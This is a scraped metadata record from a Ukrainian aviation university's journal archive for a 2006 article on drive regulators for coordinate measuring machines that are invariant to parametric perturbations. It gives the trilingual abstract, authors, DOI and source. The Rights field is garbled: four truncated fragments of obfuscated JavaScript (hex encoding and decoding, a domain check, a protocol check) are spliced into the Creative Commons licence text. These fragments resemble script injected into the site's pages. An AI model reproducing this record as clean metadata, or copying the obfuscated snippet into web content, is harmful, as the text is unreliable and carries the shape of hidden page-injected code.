NAU Harvester System
Synthesis of regulators drives coordinate measuring machines, invariant to parametric perturbations
Наукові журнали Національного Авіаційного Університету
View Archive Info| Field | Value | |
| Title |
Synthesis of regulators drives coordinate measuring machines, invariant to parametric perturbations
Cинтез регуляторов приводов координатных измерительных машин, инвариантных к параметрическим возмущениям СИНТЕЗ РЕГУЛЯТОРІВ ПРИВОДІВ КООРДИНАТНИХ ВИМІРЮВАЛЬНИХ МАШИН, ІНВАРІАНТНИХ ДО ПАРАМЕТРИЧНИХ ЗБУРЕНЬ |
|
| Creator |
Бабак, В.П.; НАУ, кафедра інформаційних технологій
Квасніков, В.П.; НАУ, кафедра інформаційних технологій Осмоловський, О.І.; НАУ, кафедра інформаційних технологій |
|
| Subject |
—
— — |
|
| Description |
An analysis of the requirements set to the control drives of coordinate measuring systems is conducted. A new structure of the drive’s regulator is offered, which enables a substantial increase of dynamic characteristics and exactness of the CMS drives. An example of the optimal drives invariant to parametric and coordinate perturbations is presented and analyzed.
Выполнен анализ требований к следящих приводов координатных измерительных машин. Предложена новая структура регулятора, которая позволила получить высокие динамические и точностные характеристики приводов координатных измерительных машин. Проведены аналитические исследования примера реализации оптимального привода, инвариантного к параметрическим и координатным возмущениям. Виконано аналіз вимог до слідкуючих приводів координатних вимірювальних машин. Запропоновано нову структуру регулятора, яка дозволила одержати високі динамічні й точнісні характеристики приводів координатних вимірювальних машин. Проведено аналітичні дослідження прикладу реалізації оптимального приводу, інваріантного до параметричних і координатних збурень. |
|
| Publisher |
National Aviation University
|
|
| Contributor |
—
— — |
|
| Date |
2006-02-01
|
|
| Type |
—
— — |
|
| Format |
application/pdf
|
|
| Identifier |
http://jrnl.nau.edu.ua/index.php/visnik/article/view/1334
10.18372/2306-1472.28.1334 |
|
| Source |
Proceedings of the National Aviation University; Том 28, № 2 (2006); 3-8
Вестник Национального авиационного университета; Том 28, № 2 (2006); 3-8 Вісник Національного Авіаційного Університету; Том 28, № 2 (2006); 3-8 |
|
| Language |
uk
|
|
| Rights |
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
Автори, які публікуються у цьому журналі, погоджуються з такими умовами:Автори залишають за собою право на авторство своєї роботи та передають журналу право першої публікації цієї роботи на умовах ліцензії Creative Commons Attribution License, котра дозволяє іншим особам вільно розповсюджувати опубліковану роботу з обов'язковим посиланням на авторів оригінальної роботи та першу публікацію роботи у цьому журналі.Автори мають право укладати самостійні додаткові угоди щодо неексклюзивного розповсюдження роботи у тому вигляді, в якому вона була опублікована цим журналом (наприклад, розміщувати роботу в електронному сховищі установи або публікувати у складі монографії), за умови збереження посилання на першу публікацію роботи у цьому журналі.Політика журналу дозволяє і заохочує розміщення авторами в мережі Інтернет (наприклад, у сховищах установ або на особистих веб-сайтах) рукопису роботи, як до подання цього рукопису до редакції, так і під час його редакційного опрацювання, оскільки це сприяє виникненню продуктивної наукової дискусії та позитивно позначається на оперативності та динаміці цитування опублікованої роботи (див. The Effect of Open Access).// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e |
|